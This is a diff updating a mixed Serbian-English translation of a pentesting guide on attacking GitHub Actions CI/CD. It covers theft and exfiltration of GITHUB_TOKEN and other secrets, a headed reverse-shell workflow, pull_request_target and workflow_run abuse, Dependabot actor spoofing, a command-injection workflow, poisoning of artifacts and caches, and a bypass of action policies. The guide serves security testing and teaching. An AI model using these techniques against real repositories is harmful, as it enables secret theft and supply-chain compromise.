diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 3c450e43a..46247fad9 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -4,55 +4,55 @@ ## Alati -Sledeći alati su korisni za pronalaženje Github Action workflows i čak pronalaženje ranjivih: +The following tools are useful to find Github Action workflows and even find vulnerable ones: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) -- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Pogledajte i njihov checklist na [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) +- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) ## Osnovne informacije -Na ovoj strani ćete naći: +Na ovoj stranici ćete pronaći: -- Kratak **sažetak svih uticaja** koje napadač može ostvariti ako dobije pristup Github Action -- Različite načine da **dobili pristup akciji**: -- Imati **permissions** za kreiranje akcije -- Zloupotreba **pull request** povezanih okidača -- Zloupotreba **other external access** tehnika -- **Pivoting** iz već kompromitovanog repozitorijuma -- Na kraju, sekcija o **post-exploitation** tehnikama za zloupotrebu akcije iznutra (da bi se postigli gore navedeni uticaji) +- **Sažetak svih uticaja** koje napadač može izazvati ako uspe da pristupi Github Action +- Različiti načini da **dobijete pristup action-u**: +- Imati **dozvole** za kreiranje action-a +- Zloupotreba trigera vezanih za **pull request** +- Zloupotreba drugih tehnika za **eksterni pristup** +- **Pivoting** iz već kompromitovanog repo-a +- Na kraju, sekcija o **post-exploitation techniques to abuse an action from inside** (koje izazivaju pomenute uticaje) ## Sažetak uticaja For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). -Ako možete **execute arbitrary code in GitHub Actions** unutar **repository**, možda ćete moći da: +Ako možete **izvršiti proizvoljni kod u GitHub Actions** unutar **repozitorijuma**, možda ćete moći: -- **Steal secrets** montirane na pipeline i **abuse the pipeline's privileges** da biste dobili neautorizovan pristup eksternim platformama, kao što su AWS i GCP. +- **Steal secrets** montirane na pipeline i **abuse the pipeline's privileges** da dobijete neovlašćen pristup eksternim platformama, kao što su AWS i GCP. - **Compromise deployments** i druge **artifacts**. -- Ako pipeline deploy-uje ili čuva asset-e, mogli biste izmeniti finalni proizvod, omogućavajući supply chain napad. -- **Execute code in custom workers** da biste zloupotrebili računarsku snagu i pivot-ovali na druge sisteme. -- **Overwrite repository code**, u zavisnosti od permissions povezanih sa `GITHUB_TOKEN`. +- Ako pipeline deployuje ili skladišti asset-e, možete izmeniti finalni proizvod, omogućavajući supply chain attack. +- **Execute code in custom workers** da zloupotrebite računarsku snagu i pivotujete na druge sisteme. +- **Overwrite repository code**, u zavisnosti od dozvola povezanih sa `GITHUB_TOKEN`. ## GITHUB_TOKEN -Ovaj "**secret**" (dolazi iz `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) se dodeljuje kada admin omogući ovu opciju: +Ovaj "**secret**" (potekao iz `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) se dodeljuje kada admin omogući ovu opciju:
-Ovaj token je isti koji će koristiti **Github Application**, pa može pristupiti istim endpoint-ima: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Ovaj token je isti koji će koristiti **Github Application**, tako da može pristupiti istim endpoint-ima: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. +> Github bi trebao objaviti a [**flow**](https://github.com/github/roadmap/issues/74) koji **omogućava cross-repository** pristup unutar GitHub-a, tako da repo može pristupiti drugim internim repozitorijumima koristeći `GITHUB_TOKEN`. -Možete videti moguće **permissions** ovog tokena ovde: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +Možete videti moguće **dozvole** ovog tokena na: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) Imajte na umu da token **ističe nakon završetka job-a**.\ Ovi tokeni izgledaju ovako: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Neke interesantne stvari koje možete uraditi sa ovim tokenom: +Neke zanimljive stvari koje možete uraditi sa ovim tokenom: {{#tabs }} {{#tab name="Merge PR" }} @@ -91,11 +91,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Imajte na umu da ćete u više navrata moći da pronađete **github user tokens inside Github Actions envs or in the secrets**. Ovi tokeni mogu vam dati veće privilegije nad repozitorijumom i organizacijom. +> Imajte na umu da ćete u više navrata moći da pronađete **github user tokens inside Github Actions envs or in the secrets**. Ovi tokeni vam mogu dati više privilegija nad repozitorijumom i organizacijom.
-Prikaži secrets u Github Action output +Lista secrets u izlazu Github Action ```yaml name: list_env on: @@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Dobijte reverse shell koristeći secrets +Dobijte reverse shell pomoću secrets ```yaml name: revshell on: @@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-Moguće je proveriti dozvole dodeljene Github Token-u u repozitorijumima drugih korisnika **proverom logova Github actions**: +Moguće je proveriti dozvole dodeljene Github Token-u u repozitorijumima drugih korisnika **proverom logova** actions-a:
-## Dozvoljeno izvršavanje +## Allowed Execution > [!NOTE] -> Ovo bi bio najlakši način da kompromitujete Github actions, jer ovaj slučaj podrazumeva da imate pristup da **kreirate novi repo u organizaciji**, ili da imate **privilegije za pisanje nad repozitorijumom**. +> Ovo bi bio najlakši način da kompromitujete Github actions, pošto ovaj slučaj pretpostavlja da imate pristup da **napravite novi repo u organizaciji**, ili imate **prava za pisanje nad repozitorijumom**. > -> Ako ste u ovoj situaciji, jednostavno možete proveriti [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). +> Ako ste u ovoj situaciji možete jednostavno pogledati [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). -### Izvršavanje kreiranjem repozitorijuma +### Execution from Repo Creation -U slučaju da članovi organizacije mogu **kreirati nove repozitorijume** i ako možete izvršavati Github actions, možete **kreirati novi repo i ukrasti tajne postavljene na nivou organizacije**. +U slučaju da članovi organizacije mogu **create new repos** i možete izvršavati Github actions, možete **create a new repo and steal the secrets set at organization level**. -### Izvršavanje iz nove grane +### Execution from a New Branch -Ako možete **kreirati novu granu u repozitorijumu koji već sadrži konfigurisan Github Action**, možete ga **izmeniti**, **upload-ovati** sadržaj, i potom **pokrenuti taj action iz nove grane**. Na ovaj način možete **eksfiltrirati tajne repozitorijuma i organizacije** (ali morate znati kako se zovu). +Ako možete **create a new branch in a repository that already contains a Github Action** konfigurisan, možete ga **izmeniti**, **otpremiti** sadržaj, i potom **pokrenuti tu akciju iz nove grane**. Na ovaj način možete **eksfiltrirati secrets sa nivoa repozitorijuma i organizacije** (ali morate znati kako se zovu). > [!WARNING] -> Bilo koje ograničenje implementirano samo unutar workflow YAML (na primer, `on: push: branches: [main]`, job conditionals, or manual gates) može biti izmenjeno od strane saradnika. Bez spoljnog sprovođenja (branch protections, protected environments, and protected tags), saradnik može preusmeriti workflow da se pokrene na svojoj grani i zloupotrebiti montirane secrets/permissions. +> Svako ograničenje implementirano samo unutar workflow YAML (na primer, `on: push: branches: [main]`, job conditionals, or manual gates) može biti izmenjeno od strane kolaboratora. Bez spoljnog sprovođenja (branch protections, protected environments, and protected tags), saradnik može preusmeriti workflow da se pokrene na njegovoj grani i zloupotrebiti montirane secrets/permissions. -Možete učiniti izmenjeni action izvršnim **ručno,** kada je **PR kreiran** ili kada je **neki kod push-ovan** (u zavisnosti od toga koliko želite da budete bučni): +Možete učiniti izmenjenu akciju izvršnom **ručno,** kada je **PR je kreiran** ili kada se **neki kod otpremi** (u zavisnosti od toga koliko želite da budete bučni): ```yaml on: workflow_dispatch: # Launch manually @@ -183,46 +183,46 @@ branches: ## Izvršavanje iz fork-a > [!NOTE] -> Postoje različiti okidači koji bi napadaču mogli omogućiti da **izvrši Github Action drugog repozitorijuma**. Ako su ti okidači loše konfigurisani, napadač bi mogao da ih kompromituje. +> Postoje različiti trigger-i koji mogu omogućiti napadaču da **execute a Github Action of another repository**. Ako su ti triggeri loše konfigurisani, napadač ih može kompromitovati. ### `pull_request` -Okidač workflow-a **`pull_request`** će izvršiti workflow svaki put kada se primi pull request uz neka izuzeća: po defaultu ako je to **prvi put** da sarađujete, neki **održavalac** će morati da **odobri** **pokretanje** workflow-a: +The workflow trigger **`pull_request`** će izvršiti workflow svaki put kada se primi pull request, sa nekim izuzecima: po defaultu, ako je to **prvi put** da doprinosite, neki **maintainer** će morati da **odobri** **pokretanje** workflow-a:
> [!NOTE] -> Pošto je podrazumevano ograničenje za **first-time** contributore, mogli biste doprineti ispravljanjem validnog bug/typo i potom poslati druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije. +> Pošto je **podrazumevano ograničenje** za **prvog doprinostioca**, možete poslati doprinos koji ispravlja validan bug/typo, a zatim poslati **druge PR-ove da zloupotrebite svoje nove `pull_request` privilegije**. > -> **Isprobao sam ovo i ne radi**: ~~Druga opcija bi bila da kreirate nalog sa imenom nekoga ko je doprineo projektu i obriše svoj nalog.~~ +> **Testirao sam i ovo ne radi**: ~~Druga opcija bi bila napraviti nalog sa imenom nekog ko je doprineo projektu i obrisao svoj nalog.~~ -Pored toga, po defaultu **prevents write permissions** i **secrets access** ciljnog repozitorijuma kao što je pomenuto u [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Pored toga, po defaultu to **onemogućava write permissions** i **pristup secrets** ciljanom repozitorijumu kao što je pomenuto u [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> Sa izuzetkom `GITHUB_TOKEN`, **secrets se ne prosleđuju runner-u** kada je workflow pokrenut iz **forked** repozitorijuma. **`GITHUB_TOKEN` ima dozvole samo za čitanje** u pull request-ovima **iz forked repozitorijuma**. +> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. -Napadač može izmeniti definiciju Github Action da bi izvršio proizvoljne stvari i dodao proizvoljne akcije. Međutim, neće moći da ukrade secrets ili prepiše repozitorijum zbog pomenutih ograničenja. +Napadač bi mogao izmeniti definiciju Github Action-a kako bi izvršio proizvoljne stvari i dodao proizvoljne akcije. Međutim, neće moći da ukrade secrets ili prepiše repo zbog pomenutih ograničenja. > [!CAUTION] -> **Da, ako napadač promeni u PR-u github action koja će biti pokrenuta, njegova Github Action će biti ona koja se koristi i ne ona iz origin repo-a!** +> **Da, ako napadač u PR-u promeni github action koji će biti pokrenut, njegov Github Action će biti taj koji se koristi, a ne onaj iz originalnog repozitorijuma!** -Pošto napadač takođe kontroliše kod koji se izvršava, čak i ako nema secrets ili write permissions na `GITHUB_TOKEN`, napadač bi, na primer, mogao **upload malicious artifacts**. +Pošto napadač takođe kontroliše kod koji se izvršava, čak i ako nema pristup secret-ima ili write permisijama preko `GITHUB_TOKEN`, napadač bi, na primer, mogao **postaviti maliciozne artefakte**. ### **`pull_request_target`** -Okidač workflow-a **`pull_request_target`** ima **write permission** nad ciljanim repozitorijumom i **access to secrets** (i ne traži dozvolu). +The workflow trigger **`pull_request_target`** ima **write permission** nad ciljnim repozitorijumom i **pristup secret-ima** (i ne traži odobrenje). -Obratite pažnju da okidač workflow-a **`pull_request_target`** **pokreće se u osnovnom kontekstu** a ne u onom koji daje PR (da bi se izbeglo **izvršavanje nepouzdanog koda**). Za više informacija o `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Pored toga, za više informacija o ovom specifičnom opasnom korišćenju pogledajte ovaj [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Napomena da workflow trigger **`pull_request_target`** **radi u base kontekstu** a ne u onom koji daje PR (kako bi se **neizvršavao nepoverljivi kod**). Za više informacija o `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Za više detalja o ovom specifično opasnom scenariju pogledajte ovaj [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Može izgledati da zato što je **izvršeni workflow** onaj definisan u **base** i **ne u PR-u** bezbedno je koristiti **`pull_request_target`**, ali postoji nekoliko slučajeva kada to nije tačno. +Može delovati da je bezbedno koristiti **`pull_request_target`** jer se **izvršeni workflow** definiše u **base**, a **ne u PR-u**, ali postoji nekoliko slučajeva gde to nije sigurno. -I ovaj će imati **access to secrets**. +I ovaj trigger će imati **pristup secret-ima**. ### `workflow_run` -The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. +The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger omogućava pokretanje workflow-a iz drugog kada je on `completed`, `requested` ili `in_progress`. -In this example, a workflow is configured to run after the separate "Run Tests" workflow completes: +U ovom primeru, workflow je konfigurisan da se pokrene nakon što se zaseban "Run Tests" workflow završi: ```yaml on: workflow_run: @@ -230,29 +230,29 @@ workflows: [Run Tests] types: - completed ``` -Štaviše, prema dokumentaciji: Workflow koji je pokrenut događajem `workflow_run` može da **pristupi secrets i piše tokens, čak i ako prethodni workflow to nije mogao**. +Pored toga, prema dokumentaciji: Workflow pokrenut događajem `workflow_run` može da **pristupi secrets i upisuje tokens, čak i ako prethodni workflow to nije mogao**. -Ovakav workflow može biti napadnut ako **zavisi** od nekog **workflow**-a koji može biti **pokrenut** od strane spoljnog korisnika putem **`pull_request`** ili **`pull_request_target`**. Par ranjivih primera može se [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi se sastoji u tome da `workflow_run` pokrenuti workflow preuzme napadačev kod: `${{ github.event.pull_request.head.sha }}`\ -Drugi se sastoji u prosleđivanju **artifact**-a iz **nepouzdanog** koda u `workflow_run` workflow i korišćenju sadržaja tog artifact-a na način koji ga čini podložnim **RCE**. +Ovakav workflow može biti napadnut ako se **oslanja** na **workflow** koji može biti **pokrenut** od strane eksternog korisnika putem **`pull_request`** ili **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Prvi se sastoji u tome da workflow pokrenut događajem **`workflow_run`** preuzme napadačev kod: `${{ github.event.pull_request.head.sha }}`\ +Drugi se sastoji u **prosleđivanju** **artifact** iz **untrusted** koda u **`workflow_run`** workflow i korišćenju sadržaja tog artifact-a na način koji ga čini **podložnim RCE**. ### `workflow_call` TODO -TODO: Proveriti da li kada se izvršava iz `pull_request` koristi/preuzima kod iz originalnog repozitorijuma ili iz fork-ovanog PR-a +TODO: Proveriti da li kada se izvršava iz `pull_request` koristi/preuzima kod iz originalnog repozitorijuma ili iz forkovanog PR-a -## Zloupotreba izvršavanja iz fork-a +## Zloupotreba izvršavanja iz fork-ova -Pomenuli smo sve načine na koje spoljašnji napadač može naterati github workflow da se izvrši; sada da pogledamo kako se ta izvršavanja, ako su pogrešno konfigurisana, mogu zloupotrebiti: +Spomenuli smo sve načine na koje eksterni napadač može naterati github workflow da se izvrši; sada pogledajmo kako se ta izvršavanja, ako su loše konfigurisana, mogu zloupotrebiti: -### Untrusted checkout execution +### Izvršavanje nepoverljivog checkout-a -U slučaju **`pull_request`**, workflow će biti izvršen u **kontekstu PR-a** (dakle izvršiće **maliciozni kod PR-a**), ali neko mora to **prvo autorizovati**, i izvršavaće se sa određenim [ograničenjima](#pull_request). +U slučaju **`pull_request`,** workflow će se izvršiti u **kontekstu PR-a** (tako da će izvršiti **maliciozni kod PR-a**), ali neko mora **prvo autorizovati** i izvršavaće se sa određenim [ograničenjima](#pull_request). -U slučaju workflow-a koji koristi **`pull_request_target` ili `workflow_run`** i koji zavisi od workflow-a koji može biti pokrenut iz **`pull_request_target` ili `pull_request`**, izvršiće se kod iz originalnog repozitorijuma, tako da **napadač ne može kontrolisati izvršeni kod**. +U slučaju workflow-a koji koristi **`pull_request_target` or `workflow_run`** i koji zavisi od workflow-a koji može biti pokrenut putem **`pull_request_target` or `pull_request`**, izvršiće se kod iz originalnog repozitorijuma, pa **napadač ne može kontrolisati izvršeni kod**. > [!CAUTION] -> Međutim, ako **action** ima **eksplicitan PR checkout** koji će **preuzeti kod iz PR-a** (a ne iz base), koristiće kod koji kontroliše napadač. Na primer (pogledajte liniju 12 gde se preuzima kod PR-a): +> Međutim, ako **action** ima **eksplicitan PR checkout** koji će **dovesti kod iz PR-a** (a ne iz base), koristiće kod koji kontroliše napadač. Na primer (pogledajte liniju 12 gde se preuzima kod iz PR-a):
# INSECURE. Provided as an example only.
 on:
@@ -282,14 +282,14 @@ message: |
 Thank you!
 
-Potencijalno **nepouzdani kod se izvršava tokom `npm install` ili `npm build`** jer build skripte i referencirani **packages su pod kontrolom autora PR-a**. +Potencijalno **nepoverljivi kod se izvršava tokom `npm install` ili `npm build`** jer su build skripte i referencirani **packages kontrolisani od strane autora PR-a**. > [!WARNING] -> GitHub dork za pretragu ranjivih actions je: `event.pull_request pull_request_target extension:yml` međutim, postoje različiti načini da se jobovi konfigurišu za sigurno izvršavanje čak i ako je action nesigurno konfigurisana (npr. korišćenjem uslova o tome ko je actor koji generiše PR). +> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). ### Context Script Injections -Imajte na umu da postoje određeni [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) čije vrednosti su **kontrolisane** od strane **korisnika** koji kreira PR. Ako github action koristi te **podatke za izvršavanje bilo čega**, to može dovesti do **arbitrary code execution:** +Imajte na umu da postoje određeni [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) čije su vrednosti **kontrolisane** od strane **user-a** koji kreira PR. Ako github action koristi te **data za izvršavanje bilo čega**, to može dovesti do **arbitrary code execution:** {{#ref}} gh-actions-context-script-injections.md @@ -297,17 +297,17 @@ gh-actions-context-script-injections.md ### **GITHUB_ENV Script Injection** -Prema dokumentaciji: Možete učiniti da je **promenljiva okruženja dostupna svim narednim koracima** u workflow jobu tako što ćete definisati ili ažurirati promenljivu okruženja i upisati je u **`GITHUB_ENV`** fajl okruženja. +Prema dokumentaciji: Možete učiniti **environment variable dostupnom za sve naredne korake** u workflow job-u definisanjem ili ažuriranjem promenljive okruženja i upisivanjem u **`GITHUB_ENV`** environment file. -Ako napadač može **ubaciti bilo koju vrednost** u ovu **env** promenljivu, mogao bi ubaciti env promenljive koje mogu izvršiti kod u narednim koracima, kao što su **LD_PRELOAD** ili **NODE_OPTIONS**. +Ako napadač može **ubaciti bilo koju vrednost** u ovu **env** promenljivu, može ubaciti env promenljive koje mogu izvršiti kod u narednim koracima, kao što su **LD_PRELOAD** ili **NODE_OPTIONS**. -Na primer ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite workflow koji veruje uploadovanom artifact-u da sačuva njegov sadržaj u **`GITHUB_ENV`** env promenljivu. Napadač bi mogao da upload-uje nešto ovako da ga kompromituje: +Na primer ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), zamislite workflow koji veruje uploadovanom artifact-u da sačuva njegov sadržaj unutar **`GITHUB_ENV`** env promenljive. Napadač bi mogao uploadovati nešto ovako da ga kompromituje:
-### Dependabot and other trusted bots +### Dependabot i drugi pouzdani botovi -Kao što je naznačeno u [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), nekoliko organizacija ima Github Action koji merguje bilo koji PRR od `dependabot[bot]` kao u: +Kao što je navedeno u [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), nekoliko organizacija ima Github Action koja merge-uje bilo koji PRR od `dependabot[bot]` kao u: ```yaml on: pull_request_target jobs: @@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: gh pr merge $ -d -m ``` -Što je problem zato što polje `github.actor` sadrži korisnika koji je izazvao poslednji događaj koji je pokrenuo workflow. Postoji nekoliko načina da se natera korisnik `dependabot[bot]` da izmeni PR. Na primer: +Što je problem zato što polje `github.actor` sadrži korisnika koji je izazvao poslednji događaj koji je pokrenuo workflow. Postoji nekoliko načina da se natera `dependabot[bot]` korisnik da izmeni PR. Na primer: - Napravite fork repozitorijuma žrtve - Dodajte maliciozni payload u svoju kopiju -- Omogućite Dependabot na vašem forku dodavanjem zastarele zavisnosti. Dependabot će kreirati granu koja ispravlja zavisnost sa malicioznim kodom. -- Otvorite Pull Request prema repozitorijumu žrtve iz te grane (PR će biti kreiran od strane korisnika pa se još ništa neće desiti) -- Zatim, napadač se vraća na inicijalni PR koji je Dependabot otvorio u njegovom forku i izvršava `@dependabot recreate` -- Zatim, Dependabot izvrši određene akcije u toj grani koje su izmenile PR u repozitorijumu žrtve, što čini da `dependabot[bot]` bude actor poslednjeg događaja koji je pokrenuo workflow (i stoga se workflow izvršava). +- Omogućite Dependabot na svom forku dodavanjem zastarele zavisnosti. Dependabot će kreirati granu koja ispravlja zavisnost sa malicioznim kodom. +- Otvorite Pull Request ka repozitorijumu žrtve iz te grane (PR će biti kreiran od strane korisnika, tako da se još ništa neće desiti) +- Zatim se napadač vraća na inicijalni PR koji je Dependabot otvorio u njegovom forku i pokreće `@dependabot recreate` +- Nakon toga, Dependabot izvrši neke akcije u toj grani koje izmenjuju PR na repozitorijumu žrtve, što postavlja `dependabot[bot]` kao korisnika poslednjeg događaja koji je pokrenuo workflow (i stoga se workflow izvršava). -Dalje, šta ako umesto mergovanja Github Action ima command injection kao u: +Dalje, šta ako umesto merge-a Github Action ima command injection kao u: ```yaml on: pull_request_target jobs: @@ -336,22 +336,22 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: echo ${ { github.event.pull_request.head.ref }} ``` -Dakle, originalni blogpost predlaže dve opcije za zloupotrebu ovog ponašanja, pri čemu je druga: +Dakle, originalni blog post predlaže dve opcije za zloupotrebu ovog ponašanja, od kojih je druga: -- Napravite fork repozitorijuma žrtve i omogućite Dependabot sa nekom zastarelom zavisnošću. -- Kreirajte novu granu sa malicioznim shell injection kodom. -- Promenite default branch repozitorijuma na tu granu. -- Kreirajte PR iz ove grane prema repozitorijumu žrtve. -- Pokrenite `@dependabot merge` u PR-u koji je Dependabot otvorio u svom forku. -- Dependabot će spojiti njegove izmene u default branch vašeg forkovanog repozitorijuma, ažurirajući PR u repozitorijumu žrtve, čineći sada `dependabot[bot]` akterom poslednjeg događaja koji je pokrenuo workflow i koristeći maliciozno ime grane. +- Fork the victim repository i omogući Dependabot sa nekom zastarelom zavisnošću. +- Kreiraj novu branch sa malicioznim shell injection kodom. +- Promeni default branch repozitorijuma na taj branch. +- Kreiraj PR iz tog brancha u repozitorijum žrtve. +- Pokreni `@dependabot merge` u PR-u koji je Dependabot otvorio u svom forku. +- Dependabot će spojiti njegove izmene u default branch vašeg forkovanog repozitorijuma, ažurirajući PR u repozitorijumu žrtve, čime će `dependabot[bot]` postati akter poslednjeg događaja koji je pokrenuo workflow i koristiće maliciozno ime brancha. -### Ranljive Github Actions treće strane +### Ranljive Github Actions trećih strana #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -Kao što je pomenuto u [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova Github Action omogućava pristup artefaktima iz različitih workflow-ova, pa čak i iz drugih repozitorijuma. +As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. -Problem je u tome da ako parametar **`path`** nije postavljen, artefakt se ekstrahuje u trenutni direktorijum i može prepisati fajlove koji bi kasnije mogli biti korišćeni ili čak izvršavani u workflow-u. Dakle, ako je artefakt ranjiv, napadač bi ovo mogao iskoristiti da kompromituje druge workflow-ove koji veruju tom artefaktu. +Problem je u tome što, ako parametar **`path`** nije postavljen, artefakt se ekstrahuje u trenutni direktorijum i može prebrisati fajlove koji se kasnije mogu koristiti ili čak izvršiti u workflow-u. Dakle, ako je artefakt ranjiv, napadač može ovo iskoristiti da kompromituje druge workflow-e koji veruju tom artefaktu. Example of vulnerable workflow: ```yaml @@ -397,23 +397,23 @@ path: ./script.py ### Deleted Namespace Repo Hijacking -Ako nalog promeni ime, drugi korisnik može registrovati nalog sa tim imenom nakon nekog vremena. Ako je repository imao **manje od 100 zvezdica pre promene imena**, Github će omogućiti novom registrovanom korisniku sa istim imenom da kreira **repository sa istim imenom** kao onaj koji je obrisan. +Ako nalog promeni ime, drugi korisnik može da registruje nalog sa tim imenom nakon nekog vremena. Ako je repository imao **less than 100 stars previously to the change of nam**e, Github će dozvoliti novom registrovanom korisniku sa istim imenom da kreira **repository with the same name** kao onaj koji je obrisan. > [!CAUTION] > Dakle, ako action koristi repo iz nepostojećeg naloga, i dalje je moguće da napadač kreira taj nalog i kompromituje action. -Ako drugi repositories koriste **dependencies from this user repos**, napadač će moći da ih hijackuje. Ovde imate detaljnije objašnjenje: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Ako drugi repositories koriste **dependencies from this user repos**, napadač će moći da ih hijack-uje. Ovde imate potpunije objašnjenje: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] -> U ovom odeljku ćemo govoriti o tehnikama koje bi omogućile da se **pivot from one repo to another** pod pretpostavkom da imamo neki oblik pristupa prvom (pogledajte prethodni odeljak). +> U ovom odeljku govorićemo o tehnikama koje omogućavaju da se **pivot from one repo to another** pod pretpostavkom da imamo neki vid pristupa prvom (pogledajte prethodni odeljak). ### Cache Poisoning -Cache se održava između **workflow runs in the same branch**. To znači da ako napadač uspe da **compromise** neki **package** koji se zatim skladišti u cache i bude **downloaded** i izvršen od strane **more privileged** workflow, moći će da **compromise** i taj workflow. +A cache se održava između **wokflow runs in the same branch**. To znači da ako napadač uspe da **compromise** neki **package** koji se onda čuva u cache-u i bude **downloaded** i izvršen od strane **more privileged** workflow-a, biće u stanju da **compromise** i taj workflow. {{#ref}} gh-actions-cache-poisoning.md @@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md ### Artifact Poisoning -Workflows mogu koristiti **artifacts from other workflows and even repos**; ako napadač uspe da **compromise** Github Action koji **uploads an artifact** koji se kasnije koristi u drugom workflow-u, mogao bi **compromise the other workflows**: +Workflows mogu koristiti **artifacts from other workflows and even repos**; ako napadač uspe da **compromise** Github Action koja **uploads an artifact** koji se kasnije koristi u drugom workflow-u, mogao bi da **compromise the other workflows**: {{#ref}} gh-actions-artifact-poisoning.md @@ -433,11 +433,9 @@ gh-actions-artifact-poisoning.md ### Github Action Policies Bypass -Kao što je komentarisano u [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), čak i ako repository ili organizacija ima politiku koja ograničava upotrebu određenih actions, napadač može jednostavno download (`git clone`) action unutar workflow-a i zatim ga referencirati kao local action. Pošto policies ne utiču na lokalne putanje, **the action will be executed without any restriction.** +Kao što je navedeno u [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), čak i ako repository ili organizacija ima politiku koja ograničava korišćenje određenih actions, napadač može jednostavno da download-uje (`git clone`) action unutar workflow-a i potom ga referencira kao local action. Pošto politike ne utiču na lokalne putanje, **the action will be executed without any restriction.** -Example: - ---- +Primer: ```yaml on: [push, pull_request] @@ -458,23 +456,27 @@ path: gha-hazmat - run: ls tmp/checkout ``` -### Pristup AWS i GCP preko OIDC +### Pristupanje AWS, Azure i GCP preko OIDC -Check the following pages: +Pogledajte sledeće stranice: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} +{{#ref}} +../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md +{{#endref}} + {{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### Pristup secrets +### Pristupanje tajnama -Ako ubacujete sadržaj u script, zanimljivo je znati kako možete pristupiti secrets: +Ako ubacujete sadržaj u skriptu, korisno je znati kako možete pristupiti tajnama: -- Ako je 